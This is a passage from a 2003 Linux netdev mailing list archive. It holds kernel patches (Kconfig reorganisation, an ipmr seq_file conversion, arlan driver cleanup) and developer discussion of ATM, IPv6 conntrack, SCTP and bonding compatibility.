- source "drivers/ide/Kconfig" source "drivers/scsi/Kconfig" @@ -238,9 +236,6 @@ source "drivers/misc/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" - menu "Kernel hacking" --- 1.14/arch/cris/Kconfig Sat Aug 2 23:26:16 2003 +++ edited/arch/cris/Kconfig Tue Sep 23 22:06:06 2003 @@ -178,10 +178,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" --- 1.8/arch/h8300/Kconfig Mon Sep 1 01:14:22 2003 +++ edited/arch/h8300/Kconfig Tue Sep 23 22:06:12 2003 @@ -191,10 +191,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -351,8 +347,6 @@ source "fs/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "Kernel hacking" --- 1.76/arch/i386/Kconfig Wed Sep 10 08:41:39 2003 +++ edited/arch/i386/Kconfig Tue Sep 23 22:06:20 2003 @@ -1201,10 +1201,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -1226,8 +1222,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" source "arch/i386/oprofile/Kconfig" --- 1.44/arch/ia64/Kconfig Tue Sep 16 00:22:39 2003 +++ edited/arch/ia64/Kconfig Tue Sep 23 22:06:35 2003 @@ -527,8 +527,6 @@ if !IA64_HP_SIM -source "net/ax25/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/cdrom/Kconfig" @@ -575,9 +573,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - - -source "net/bluetooth/Kconfig" endif --- 1.21/arch/m68knommu/Kconfig Mon Sep 1 01:14:22 2003 +++ edited/arch/m68knommu/Kconfig Tue Sep 23 22:06:54 2003 @@ -530,10 +530,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -555,8 +551,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "Kernel hacking" --- 1.17/arch/mips/Kconfig Mon Sep 8 03:44:39 2003 +++ edited/arch/mips/Kconfig Tue Sep 23 22:07:01 2003 @@ -1228,10 +1228,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -1289,8 +1285,6 @@ endmenu source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "Kernel hacking" --- 1.23/arch/parisc/Kconfig Tue Sep 9 00:00:21 2003 +++ edited/arch/parisc/Kconfig Tue Sep 23 22:07:13 2003 @@ -190,12 +190,6 @@ #source drivers/message/i2o/Kconfig -source "net/Kconfig" - -#source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - #source "drivers/isdn/Kconfig" #source "drivers/telephony/Kconfig" @@ -216,8 +210,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" source "arch/parisc/oprofile/Kconfig" --- 1.42/arch/ppc/Kconfig Wed Sep 17 22:31:25 2003 +++ edited/arch/ppc/Kconfig Tue Sep 23 22:07:17 2003 @@ -1142,10 +1142,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/video/Kconfig" @@ -1322,8 +1318,6 @@ endmenu source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" source "lib/Kconfig" --- 1.29/arch/ppc64/Kconfig Tue Sep 9 21:51:58 2003 +++ edited/arch/ppc64/Kconfig Tue Sep 23 22:07:29 2003 @@ -263,10 +263,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -287,8 +283,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "iSeries device drivers" ===== arch/sh/Kconfig 1.18 vs edited ===== --- 1.18/arch/sh/Kconfig Mon Sep 1 01:14:22 2003 +++ edited/arch/sh/Kconfig Tue Sep 23 22:07:41 2003 @@ -753,10 +753,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -1148,8 +1144,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "Kernel hacking" ===== arch/sparc/Kconfig 1.20 vs edited ===== --- 1.20/arch/sparc/Kconfig Mon Sep 1 01:14:22 2003 +++ edited/arch/sparc/Kconfig Tue Sep 23 22:08:03 2003 @@ -464,8 +464,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - # This one must be before the filesystem configs. -DaveM menu "Unix98 PTY support" @@ -521,9 +519,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" - menu "Watchdog" --- 1.33/arch/sparc64/Kconfig Fri Sep 12 03:13:31 2003 +++ edited/arch/sparc64/Kconfig Tue Sep 23 22:08:18 2003 @@ -666,10 +666,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" source "drivers/telephony/Kconfig" @@ -772,8 +768,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "Watchdog" ===== arch/v850/Kconfig 1.18 vs edited ===== --- 1.18/arch/v850/Kconfig Mon Sep 1 01:14:22 2003 +++ edited/arch/v850/Kconfig Tue Sep 23 22:08:29 2003 @@ -301,10 +301,6 @@ source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" #source "drivers/telephony/Kconfig" @@ -326,8 +322,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" menu "Kernel hacking" ===== arch/x86_64/Kconfig 1.30 vs edited ===== --- 1.30/arch/x86_64/Kconfig Mon Sep 8 03:44:40 2003 +++ edited/arch/x86_64/Kconfig Tue Sep 23 22:08:43 2003 @@ -419,10 +419,6 @@ #source drivers/message/i2o/Config.in source "net/Kconfig" -source "net/ax25/Kconfig" - -source "net/irda/Kconfig" - source "drivers/isdn/Kconfig" # no support for non IDE/SCSI cdroms as they were all ISA only @@ -444,8 +440,6 @@ source "sound/Kconfig" source "drivers/usb/Kconfig" - -source "net/bluetooth/Kconfig" source "arch/x86_64/oprofile/Kconfig" --- 1.23/net/Kconfig Sat Sep 20 03:59:21 2003 +++ edited/net/Kconfig Tue Sep 23 22:05:26 2003 @@ -689,4 +689,10 @@ source "drivers/net/Kconfig" +source "net/ax25/Kconfig" + +source "net/irda/Kconfig" + +source "net/bluetooth/Kconfig" + endmenu From mitch@sfgoth.com Thu Sep 25 12:32:58 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 12:33:03 -0700 (PDT) Received: from gaz.sfgoth.com ([63.205.85.133]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PJWwFx023222 for ; Thu, 25 Sep 2003 12:32:58 -0700 Received: from gaz.sfgoth.com (localhost.sfgoth.com [127.0.0.1]) by gaz.sfgoth.com (8.12.9p1/8.12.9) with ESMTP id h8PJf416035434; Thu, 25 Sep 2003 12:41:04 -0700 (PDT) (envelope-from mitch@gaz.sfgoth.com) Received: (from mitch@localhost) by gaz.sfgoth.com (8.12.9p1/8.12.6/Submit) id h8PJf4BD035433; Thu, 25 Sep 2003 12:41:04 -0700 (PDT) (envelope-from mitch) Date: Thu, 25 Sep 2003 12:41:03 -0700 From: Mitchell Blank Jr To: chas williams Cc: John Levon , netdev@oss.sgi.com Subject: Re: [PATCH][ATM]: [ioctl][1/8] move vcc_ioctl() to ioctl.c (from levon@movementarian.org) Message-ID: <20030925194103.GE31418@gaz.sfgoth.com> References: <20030925170342.GA74937@compsoc.man.ac.uk> <200309251928.h8PJSZkT011995@ginger.cmf.nrl.navy.mil> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309251928.h8PJSZkT011995@ginger.cmf.nrl.navy.mil> User-Agent: Mutt/1.4.1i X-archive-position: 247 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mitch@sfgoth.com Precedence: bulk X-list: netdev Content-Length: 302 Lines: 8 chas williams wrote: > i redid your patch set a bit to just get from point a to b w/o > the phantom ioctl.h and with the ATM_VF_IS_CLIP change discussed earlier. If you merge my patches the vcc->clip would go away on its own (its not needed once CLIP gets a atm_backend->decribe_vcc() method) -Mitch From kisza@securityaudit.hu Thu Sep 25 12:36:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 12:36:46 -0700 (PDT) Received: from server.obudanet.hu (server.obudanet.hu [195.70.46.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PJaMFx023659 for ; Thu, 25 Sep 2003 12:36:22 -0700 Received: from [192.168.0.2] (unknown [172.16.2.138]) by server.obudanet.hu (Postfix) with ESMTP id 2785722C0DB; Thu, 25 Sep 2003 21:08:13 +0200 (CEST) Subject: Re: [Patch]: IPv6 Connection Tracking From: Andras Kis-Szabo To: Pekka Savola Cc: Netfilter Devel , Netdev , usagi-core@linux-ipv6.org In-Reply-To: References: Content-Type: text/plain Organization: SecurityAudit Message-Id: <1064516837.995.49.camel@localhost> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 25 Sep 2003 21:07:18 +0200 Content-Transfer-Encoding: 7bit X-archive-position: 248 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kisza@securityaudit.hu Precedence: bulk X-list: netdev Content-Length: 994 Lines: 28 Hi, > What I fear is that in the end, nothing gets done because having the goal > set to perfection. If there is no energy to drive through the > L3-independent connecting tracking, the end result is that the user does > not have this feature (remember ip6tables REJECT target? That must have > been sitting in netfilter for some 2+ years, and not having been > integrated in the mainline kernel and the users still do not have the > feature!). I have felt the same on Brad Chapman's port. That code has lost in time :( > > Your FTP code uses EPSV and EPRT from rfc2428. What's about the FOOBAR > > RFC (1639)? OK, it's a joke :) > > Could we open an IPv4 data connection next to the IPv6 controll > > connection? > What about LPRT and LPSV? This is the rfc1639/foobar :) Regards, kisza -- Andras Kis-Szabo Security Development, Design and Audit -------------------------/ Zorp, NetFilter and IPv6 kisza@SecurityAudit.hu /-------------------------------------------> From acme@conectiva.com.br Thu Sep 25 13:48:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 13:49:04 -0700 (PDT) Received: from orion.netbank.com.br (orion.netbank.com.br [200.203.199.90]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PKmqFx027550 for ; Thu, 25 Sep 2003 13:48:53 -0700 Received: from [200.241.160.10] (helo=brinquendo.conectiva.com.br) by orion.netbank.com.br with asmtp (Exim 3.33 #1) id 1A2dCV-0007lH-00; Thu, 25 Sep 2003 17:58:59 -0300 Received: by brinquendo.conectiva.com.br (Postfix, from userid 500) id 65CC81966D; Thu, 25 Sep 2003 20:52:39 +0000 (UTC) Date: Thu, 25 Sep 2003 17:52:38 -0300 From: Arnaldo Carvalho de Melo To: Sridhar Samudrala Cc: "David S. Miller" , netdev@oss.sgi.com, lksctp-developers@lists.sourceforge.net Subject: Re: net/sctp/sm_make_chunk.c alignment problems on parisc64 Message-ID: <20030925205238.GB1041@conectiva.com.br> References: <20030920155404.GA29040@conectiva.com.br> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Url: http://advogato.org/person/acme Organization: Conectiva S.A. User-Agent: Mutt/1.5.4i X-archive-position: 249 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: acme@conectiva.com.br Precedence: bulk X-list: netdev Content-Length: 713 Lines: 19 Em Mon, Sep 22, 2003 at 03:06:41PM -0700, Sridhar Samudrala escreveu: > On Sat, 20 Sep 2003, Arnaldo Carvalho de Melo wrote: > > The problem is right at: > > > > tv_add(&asoc->cookie_life, &cookie->c.expiration); > > > > Please send any patch you come up with, I'll be happy to test it. > > The problem seems to be the static inline routine tv_add. When i converted it > into a regular function or a macro, the problem went away. May be parisc64 > compiler has some issues with static inlines. > > Arnaldo, Could you please try out this patch which converts tv_add() to a macro > TIMEVAL_ADD() Yes, this makes the problem go away, if you have this tested please push it DaveM's way, thanks a lot! - Arnaldo From ctindel@calma.pair.com Thu Sep 25 14:13:01 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 14:13:13 -0700 (PDT) Received: from calma.pair.com (calma.pair.com [209.68.1.95]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PLD0Fx028865 for ; Thu, 25 Sep 2003 14:13:01 -0700 Received: (qmail 90754 invoked by uid 3059); 25 Sep 2003 21:13:00 -0000 Date: Thu, 25 Sep 2003 17:13:00 -0400 From: "Chad N. Tindel" To: Jay Vosburgh Cc: shmulik.hen@intel.com, "Chad N. Tindel" , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" Subject: Re: [Bonding-announce] [PATCH SET][bonding] cleanup Message-ID: <20030925211259.GA59653@calma.pair.com> Mail-Followup-To: Jay Vosburgh , shmulik.hen@intel.com, "Chad N. Tindel" , bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com, linux-kernel@vger.kernel.org, linux-net@vger.kernel.org, Jeff Garzik , "Noam, Amir" , "Mendelson, Tsippy" , "Noam, Marom" References: <200309252011.53960.shmulik.hen@intel.com> <200309251733.h8PHXWpV013559@death.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200309251733.h8PHXWpV013559@death.ibm.com> User-Agent: Mutt/1.4i X-archive-position: 250 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chad@tindel.net Precedence: bulk X-list: netdev Content-Length: 1168 Lines: 21 > >> I was going to add it on to the end of the clean up set, but > >> if you want to do it, go ahead. Nobody seems to have objected to > >> removing the _OLD stuff, which I view as a good thing. > > My thinking here is that any ifenslave old enough (two years > or more) to still be using the OLD ioctl values is unlikely to work > with the current kernel driver, and if somebody did try it, it's > better to have the call fail outright than perform weird and > mysterious rituals in kernel memory. I have trouble envisioning an > scenario where a user would be using the latest 2.4.23 kernel, but an > ifenslave from, what, 2.2.15? 2.4.5? or so. I was specifically told by David Miller that we are not to break binary compatibility within a 2.4 release. Such things had to wait until 2.5 or later. We can not require a user to upgrade their ifenslave within a 2.4 series kernel just to keep using the same functionality they were using in 2.4.1. Obviously we can require them to upgrade in order to keep using new functionality. So the _OLD stuff needs to stay in the 2.4 kernel. If this was brought up in an earlier thread, then I just missed it. Chad From shemminger@osdl.org Thu Sep 25 14:24:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 14:24:37 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PLOUFx029977 for ; Thu, 25 Sep 2003 14:24:30 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PLOG121816; Thu, 25 Sep 2003 14:24:16 -0700 Date: Thu, 25 Sep 2003 14:23:51 -0700 From: Stephen Hemminger To: "David S. Miller" , "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: [PATCH] convert ipmr to seq_file. Message-Id: <20030925142351.18cda5dd.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 251 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 9299 Lines: 398 Convert /proc/ip_mr_cache and /proc/ip_mr_vif to use seq_file. Tested with 2.6.0-test5 latest. --- linux-2.5/net/ipv4/ipmr.c 2003-09-05 09:36:05.000000000 -0700 +++ linux-2.5-net/net/ipv4/ipmr.c 2003-09-25 14:21:05.455075362 -0700 @@ -46,6 +46,7 @@ #include #include #include +#include #include #include #include @@ -1602,133 +1603,267 @@ int ipmr_get_route(struct sk_buff *skb, /* * The /proc interfaces to multicast routing /proc/ip_mr_cache /proc/ip_mr_vif */ - -static int ipmr_vif_info(char *buffer, char **start, off_t offset, int length) -{ - struct vif_device *vif; - int len=0; - off_t pos=0; - off_t begin=0; - int size; +struct ipmr_vif_iter { int ct; +}; + +static struct vif_device *ipmr_vif_seq_idx(struct ipmr_vif_iter *iter, + loff_t pos) +{ + for (iter->ct = 0; iter->ct < maxvif; ++iter->ct) { + if(!VIF_EXISTS(iter->ct)) + continue; + if (pos-- == 0) + return &vif_table[iter->ct]; + } + return NULL; +} - len += sprintf(buffer, - "Interface BytesIn PktsIn BytesOut PktsOut Flags Local Remote\n"); - pos=len; - +static void *ipmr_vif_seq_start(struct seq_file *seq, loff_t *pos) +{ read_lock(&mrt_lock); - for (ct=0;ctprivate, *pos - 1) + : SEQ_START_TOKEN; +} + +static void *ipmr_vif_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct ipmr_vif_iter *iter = seq->private; + + ++*pos; + if (v == SEQ_START_TOKEN) + return ipmr_vif_seq_idx(iter, 0); + + while (++iter->ct < maxvif) { + if(!VIF_EXISTS(iter->ct)) continue; - if (vif->dev) - name = vif->dev->name; - size = sprintf(buffer+len, "%2d %-10s %8ld %7ld %8ld %7ld %05X %08X %08X\n", - ct, name, vif->bytes_in, vif->pkt_in, vif->bytes_out, vif->pkt_out, - vif->flags, vif->local, vif->remote); - len+=size; - pos+=size; - if(posoffset+length) - break; - } + return &vif_table[iter->ct]; + } + return NULL; +} + +static void ipmr_vif_seq_stop(struct seq_file *seq, void *v) +{ read_unlock(&mrt_lock); - - *start=buffer+(offset-begin); - len-=(offset-begin); - if(len>length) - len=length; - if (len<0) - len = 0; - return len; } -static int ipmr_mfc_info(char *buffer, char **start, off_t offset, int length) +static int ipmr_vif_seq_show(struct seq_file *seq, void *v) { - struct mfc_cache *mfc; - int len=0; - off_t pos=0; - off_t begin=0; - int size; + if (v == SEQ_START_TOKEN) { + seq_puts(seq, + "Interface BytesIn PktsIn BytesOut PktsOut Flags Local Remote\n"); + } else { + const struct vif_device *vif = v; + const char *name = vif->dev ? vif->dev->name : "none"; + + seq_printf(seq, + "%2d %-10s %8ld %7ld %8ld %7ld %05X %08X %08X\n", + vif - vif_table, + name, vif->bytes_in, vif->pkt_in, + vif->bytes_out, vif->pkt_out, + vif->flags, vif->local, vif->remote); + } + return 0; +} + +static struct seq_operations ipmr_vif_seq_ops = { + .start = ipmr_vif_seq_start, + .next = ipmr_vif_seq_next, + .stop = ipmr_vif_seq_stop, + .show = ipmr_vif_seq_show, +}; + +static int ipmr_vif_open(struct inode *inode, struct file *file) +{ + struct seq_file *seq; + int rc = -ENOMEM; + struct ipmr_vif_iter *s = kmalloc(sizeof(*s), GFP_KERNEL); + + if (!s) + goto out; + + rc = seq_open(file, &ipmr_vif_seq_ops); + if (rc) + goto out_kfree; + + s->ct = 0; + seq = file->private_data; + seq->private = s; +out: + return rc; +out_kfree: + kfree(s); + goto out; + +} + +static struct file_operations ipmr_vif_fops = { + .owner = THIS_MODULE, + .open = ipmr_vif_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; + +struct ipmr_mfc_iter { + struct mfc_cache **cache; int ct; +}; - len += sprintf(buffer, - "Group Origin Iif Pkts Bytes Wrong Oifs\n"); - pos=len; - read_lock(&mrt_lock); - for (ct=0;ctnext) - { - int n; +static struct mfc_cache *ipmr_mfc_seq_idx(struct ipmr_mfc_iter *it, loff_t pos) +{ + struct mfc_cache *mfc; - /* - * Interface forwarding map - */ - size = sprintf(buffer+len, "%08lX %08lX %-3d %8ld %8ld %8ld", - (unsigned long)mfc->mfc_mcastgrp, - (unsigned long)mfc->mfc_origin, - mfc->mfc_parent, - mfc->mfc_un.res.pkt, - mfc->mfc_un.res.bytes, - mfc->mfc_un.res.wrong_if); - for(n=mfc->mfc_un.res.minvif;nmfc_un.res.maxvif;n++) - { - if(VIF_EXISTS(n) && mfc->mfc_un.res.ttls[n] < 255) - size += sprintf(buffer+len+size, " %2d:%-3d", n, mfc->mfc_un.res.ttls[n]); - } - size += sprintf(buffer+len+size, "\n"); - len+=size; - pos+=size; - if(posoffset+length) - goto done; - } - } + it->cache = mfc_cache_array; + read_lock(&mrt_lock); + for (it->ct = 0; it->ct < MFC_LINES; it->ct++) + for(mfc = mfc_cache_array[it->ct]; mfc; mfc = mfc->next) + if (pos-- == 0) + return mfc; + read_unlock(&mrt_lock); + it->cache = &mfc_unres_queue; spin_lock_bh(&mfc_unres_lock); - for(mfc=mfc_unres_queue; mfc; mfc=mfc->next) { - size = sprintf(buffer+len, "%08lX %08lX %-3d %8ld %8ld %8ld\n", - (unsigned long)mfc->mfc_mcastgrp, - (unsigned long)mfc->mfc_origin, - -1, - (long)mfc->mfc_un.unres.unresolved.qlen, - 0L, 0L); - len+=size; - pos+=size; - if(posoffset+length) - break; - } + for(mfc = mfc_unres_queue; mfc; mfc = mfc->next) + if (pos-- == 0) + return mfc; spin_unlock_bh(&mfc_unres_lock); -done: + it->cache = NULL; + return NULL; +} + + +static void *ipmr_mfc_seq_start(struct seq_file *seq, loff_t *pos) +{ + return *pos ? ipmr_mfc_seq_idx(seq->private, *pos - 1) + : SEQ_START_TOKEN; +} + +static void *ipmr_mfc_seq_next(struct seq_file *seq, void *v, loff_t *pos) +{ + struct mfc_cache *mfc = v; + struct ipmr_mfc_iter *it = seq->private; + + ++*pos; + + if (v == SEQ_START_TOKEN) + return ipmr_mfc_seq_idx(seq->private, 0); + + if (mfc->next) + return mfc->next; + + if (it->cache == &mfc_unres_queue) + goto end_of_list; + + BUG_ON(it->cache != mfc_cache_array); + + while (++it->ct < MFC_LINES) { + mfc = mfc_cache_array[it->ct]; + if (mfc) + return mfc; + } + + /* exhausted cache_array, show unresolved */ read_unlock(&mrt_lock); - *start=buffer+(offset-begin); - len-=(offset-begin); - if(len>length) - len=length; - if (len < 0) { - len = 0; + it->cache = &mfc_unres_queue; + it->ct = 0; + + spin_lock_bh(&mfc_unres_lock); + mfc = mfc_unres_queue; + if (mfc) + return mfc; + + end_of_list: + spin_unlock_bh(&mfc_unres_lock); + it->cache = NULL; + + return NULL; +} + +static void ipmr_mfc_seq_stop(struct seq_file *seq, void *v) +{ + struct ipmr_mfc_iter *it = seq->private; + + if (it->cache == &mfc_unres_queue) + spin_unlock_bh(&mfc_unres_lock); + else if (it->cache == mfc_cache_array) + read_unlock(&mrt_lock); +} + +static int ipmr_mfc_seq_show(struct seq_file *seq, void *v) +{ + int n; + + if (v == SEQ_START_TOKEN) { + seq_puts(seq, + "Group Origin Iif Pkts Bytes Wrong Oifs\n"); + } else { + const struct mfc_cache *mfc = v; + const struct ipmr_mfc_iter *it = seq->private; + + seq_printf(seq, "%08lX %08lX %-3d %8ld %8ld %8ld", + (unsigned long) mfc->mfc_mcastgrp, + (unsigned long) mfc->mfc_origin, + mfc->mfc_parent, + mfc->mfc_un.res.pkt, + mfc->mfc_un.res.bytes, + mfc->mfc_un.res.wrong_if); + + if (it->cache != &mfc_unres_queue) { + for(n = mfc->mfc_un.res.minvif; + n < mfc->mfc_un.res.maxvif; n++ ) { + if(VIF_EXISTS(n) + && mfc->mfc_un.res.ttls[n] < 255) + seq_printf(seq, + " %2d:%-3d", + n, mfc->mfc_un.res.ttls[n]); + } + } + seq_putc(seq, '\n'); } - return len; + return 0; } +static struct seq_operations ipmr_mfc_seq_ops = { + .start = ipmr_mfc_seq_start, + .next = ipmr_mfc_seq_next, + .stop = ipmr_mfc_seq_stop, + .show = ipmr_mfc_seq_show, +}; + +static int ipmr_mfc_open(struct inode *inode, struct file *file) +{ + struct seq_file *seq; + int rc = -ENOMEM; + struct ipmr_mfc_iter *s = kmalloc(sizeof(*s), GFP_KERNEL); + + if (!s) + goto out; + + rc = seq_open(file, &ipmr_mfc_seq_ops); + if (rc) + goto out_kfree; + + memset(s, 0, sizeof(*s)); + seq = file->private_data; + seq->private = s; +out: + return rc; +out_kfree: + kfree(s); + goto out; + +} + +static struct file_operations ipmr_mfc_fops = { + .owner = THIS_MODULE, + .open = ipmr_mfc_open, + .read = seq_read, + .llseek = seq_lseek, + .release = seq_release, +}; #endif #ifdef CONFIG_IP_PIMSM_V2 @@ -1752,7 +1887,7 @@ void __init ip_mr_init(void) ipmr_expire_timer.function=ipmr_expire_process; register_netdevice_notifier(&ip_mr_notifier); #ifdef CONFIG_PROC_FS - proc_net_create("ip_mr_vif",0,ipmr_vif_info); - proc_net_create("ip_mr_cache",0,ipmr_mfc_info); + proc_net_fops_create("ip_mr_vif", 0, &ipmr_vif_fops); + proc_net_fops_create("ip_mr_cache", 0, &ipmr_mfc_fops); #endif } From shemminger@osdl.org Thu Sep 25 16:01:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:03 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN1pFx002364 for ; Thu, 25 Sep 2003 16:01:52 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1j111595; Thu, 25 Sep 2003 16:01:45 -0700 Date: Thu, 25 Sep 2003 15:59:07 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (7/8) arlan -- more dead wood removal Message-Id: <20030925155907.21c314ee.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3290 Lines: 101 Still more driver data which was updated but never used. diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Thu Sep 25 15:48:19 2003 +++ b/drivers/net/wireless/arlan-main.c Thu Sep 25 15:48:19 2003 @@ -411,7 +411,6 @@ WRITESHMB(arlan->commandByte, ARLAN_COM_TX_ENABLE | ARLAN_COM_INT); memcpy_toio((void *) arlan->commandParameter, &TXLAST(dev), 14); // for ( i=1 ; i < 15 ; i++) printk("%02x:",READSHMB(arlan->commandParameter[i])); - priv->last_command_was_rx = 0; priv->tx_last_sent = jiffies; arlan_interrupt_lancpu(dev); priv->last_tx_time = arlan_time(); @@ -765,7 +764,6 @@ arlan_command(dev, ARLAN_COMMAND_TX); - priv->last_command_was_rx = 0; priv->tx_last_sent = jiffies; IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk("%s TX Qued %d bytes \n", dev->name, length); @@ -1233,7 +1231,6 @@ priv->rx_command_given = 0; priv->reRegisterExp = 1; - priv->last_command_was_rx = 0; priv->tx_last_sent = jiffies - 1; priv->tx_last_cleared = jiffies; priv->Conf->writeEEPROM = 0; @@ -1680,7 +1677,6 @@ if (rxStatus == 0 && txStatus == 0) { - priv->last_command_was_rx = 0; if (priv->irq_test_done) { if (!registrationBad(dev)) @@ -1707,7 +1703,6 @@ } if (rxStatus > 2 && rxStatus < 0xff) { - priv->last_command_was_rx = 0; WRITESHMB(arlan->rxStatus, 0x00); printk(KERN_ERR "%s unknown rxStatus reason tx %d rx %d ", dev->name, txStatus, rxStatus); @@ -1715,7 +1710,6 @@ } if (rxStatus == 0xff) { - priv->last_command_was_rx = 0; WRITESHMB(arlan->rxStatus, 0x00); arlan_command(dev, ARLAN_COMMAND_RX); if (registrationBad(dev)) diff -Nru a/drivers/net/wireless/arlan.h b/drivers/net/wireless/arlan.h --- a/drivers/net/wireless/arlan.h Thu Sep 25 15:48:19 2003 +++ b/drivers/net/wireless/arlan.h Thu 